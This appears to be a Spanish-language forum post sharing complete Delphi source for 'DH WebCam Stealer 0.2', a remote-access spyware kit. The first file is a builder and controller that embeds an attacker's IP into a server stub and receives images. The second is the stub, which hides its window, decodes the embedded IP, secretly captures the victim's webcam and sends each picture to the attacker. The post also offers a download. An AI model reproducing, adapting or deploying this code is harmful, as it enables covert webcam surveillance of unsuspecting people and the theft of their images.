Una imagen :
Código
// DH WebCam Stealer 0.2 // (C) Doddy Hackman 2013 // Credits : // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7 // Thanks to Cold Fuzion unit webcam; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton, sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image3: TImage; sPageControl1: TsPageControl; sTabSheet1: TsTabSheet; sGroupBox2: TsGroupBox; sGroupBox6: TsGroupBox; sEdit1: TsEdit; sGroupBox7: TsGroupBox; sButton3: TsButton; sTabSheet2: TsTabSheet; sGroupBox3: TsGroupBox; sGroupBox4: TsGroupBox; sRadioButton1: TsRadioButton; sRadioButton2: TsRadioButton; sGroupBox5: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sTabSheet3: TsTabSheet; sGroupBox1: TsGroupBox; Image1: TImage; sTabSheet4: TsTabSheet; Image2: TImage; sLabel1: TsLabel; sStatusBar1: TsStatusBar; Timer1: TTimer; Timer2: TTimer; ServerSocket1: TServerSocket; ServerSocket2: TServerSocket; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure ServerSocket2ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); private { Private declarations } conexion: TFileStream; control: integer; public { Public declarations } end; var Form1: TForm1; cantidad: string; implementation uses full; {$R *.dfm} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure achicar(archivo, medir1, medir2: string); // Credits : // Based on : http://www.delphidabbler.com/tips/99 // Thanks to www.delphidabbler.com var bit3: Double; bit2: TJpegImage; bit1: TBitmap; begin try begin bit2 := TJpegImage.Create; bit2.Loadfromfile(archivo); if bit2.Height > bit2.Width then begin bit3 := StrToInt(medir1) / bit2.Height end else begin bit3 := StrToInt(medir2) / bit2.Width; end; bit1 := TBitmap.Create; bit1.Width := Round(bit2.Width * bit3); bit1.Height := Round(bit2.Height * bit3); bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2); bit2.Assign(bit1); bit2.SaveToFile(archivo); end; except // end; end; // procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'garnet'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); begin try begin ServerSocket1.Open; sStatusBar1.Panels[0].Text := '[+] Online'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton2Click(Sender: TObject); begin try begin ServerSocket1.Close; sStatusBar1.Panels[0].Text := '[+] OffLine'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton3Click(Sender: TObject); var aca: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; stubgenerado: string; lineafinal: string; linea: string; begin aca := INVALID_HANDLE_VALUE; nose := 0; stubgenerado := 'stealer_ready.exe'; linea := '[ip]' + sEdit1.Text + '[ip]'; lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]'; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/servernow.exe'), PChar (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); StrCopy(code, PChar(lineafinal)); aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 9999, nose, nil); CloseHandle(aca); end; sStatusBar1.Panels[0].Text := '[+] Done'; Form1.sStatusBar1.Update; end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var contenido: string; begin contenido := Socket.ReceiveText; if (Pos('0x3archivo', contenido) > 0) then begin conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)), fmCREATE or fmOPENWRITE and fmsharedenywrite); ServerSocket2.Open; end else begin if (Pos('0x3acantid', contenido) > 0) then begin cantidad := Copy(contenido, 11, length(contenido)); end; end; end; procedure TForm1.ServerSocket2ClientRead(Sender: TObject; Socket: TCustomWinSocket); var data: array [0 .. 9999] of Char; otracantidad: integer; begin Timer1.Enabled := True; while Socket.ReceiveLength > 0 do begin otracantidad := Socket.ReceiveBuf(data, Sizeof(data)); if otracantidad <= 0 then begin Break; end else begin conexion.Write(data, otracantidad); end; if conexion.Size >= StrToInt(cantidad) then begin conexion.Free; Timer1.Enabled := False; control := 0; Break; end; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin control := 1; end; procedure TForm1.Timer2Timer(Sender: TObject); begin try begin if ServerSocket1.Active = True then begin if FileExists('screen.jpg') then begin if (sRadioButton1.Checked) then begin achicar('screen.jpg', '400', '400'); Image1.Picture.Loadfromfile('screen.jpg'); end else begin Form2.Show; achicar('screen.jpg', '1000', '1000'); Form2.Image1.Picture.Loadfromfile('screen.jpg'); end; end; end; end; except // end; end; end. // The End ?
El servidor.
Código
// DH WebCam Stealer 0.2 // (C) Doddy Hackman 2013 // Credits : // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7 // Thanks to Cold Fuzion unit server; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, ScktComp, Jpeg; type TForm1 = class(TForm) ClientSocket1: TClientSocket; ClientSocket2: TClientSocket; Timer1: TTimer; Image1: TImage; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure capturar_webcam(filename: string); private { Private declarations } public { Public declarations } end; var Form1: TForm1; target: string; webcam: hwnd; const control = WM_USER; conec = control + 10; conec2 = control + 52; conec3 = control + 50; conec4 = control + 25; chau = control + 11; implementation FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer; cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer) : hwnd; STDCALL EXTERNAL 'AVICAP32.DLL'; {$R *.dfm} // Functions procedure TForm1.capturar_webcam(filename: string); // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html // Thanks to Javier Par var imagen1: TBitmap; imagen2: TJpegImage; begin try begin DeleteFile('1.bmp'); DeleteFile('1'); DeleteFile(filename); webcam := capCreateCaptureWindowA ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top, Image1.Width, Image1.Height, Form1.Handle, 0); if not(webcam = 0) then begin SendMessage(webcam, conec, 0, 0); SendMessage(webcam, conec2, 40, 0); SendMessage(webcam, conec3, 1, 0); SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp'))); SendMessage(webcam, chau, 0, 0); webcam := 0; RenameFile('1', '1.bmp'); imagen1 := TBitmap.Create; imagen1.LoadFromFile('1.bmp'); imagen2 := TJpegImage.Create; imagen2.Assign(imagen1); imagen2.CompressionQuality := 100; imagen2.SaveToFile(filename); DeleteFile('1'); DeleteFile('1.bmp'); end; imagen1.Free; imagen2.Free; end; except // end; end; function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var ob: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; todo: string; begin Application.ShowMainForm := False; ob := INVALID_HANDLE_VALUE; code := ''; ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -9999, nil, FILE_END); ReadFile(ob, code, 9999, nose, nil); CloseHandle(ob); end; todo := regex(code, '[63686175]', '[63686175]'); todo := dhencode(todo, 'decode'); target := regex(todo, '[ip]', '[ip]'); try begin ClientSocket1.Address := target; ClientSocket1.Open; end; except // end; end; procedure TForm1.Timer1Timer(Sender: TObject); var archivo: string; envio: TFileStream; dir: string; begin try begin if ClientSocket1.Active = True then begin dir := GetEnvironmentVariable('USERPROFILE') + '\'; chdir(dir); if (FileExists('screen.jpg')) then begin DeleteFile('screen.jpg'); end; capturar_webcam('screen.jpg'); archivo := dir + 'screen.jpg'; try begin ClientSocket1.Socket.SendText ('0x3archivo' + ExtractFileName(archivo)); envio := TFileStream.Create(archivo, fmopenread); sleep(500); ClientSocket1.Socket.SendText ('0x3acantid' + IntToStr(envio.Size)); envio.Free; ClientSocket2.Address := target; ClientSocket2.Open; ClientSocket2.Socket.SendStream (TFileStream.Create(archivo, fmopenread)); end; except // end; end; end; except // end; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.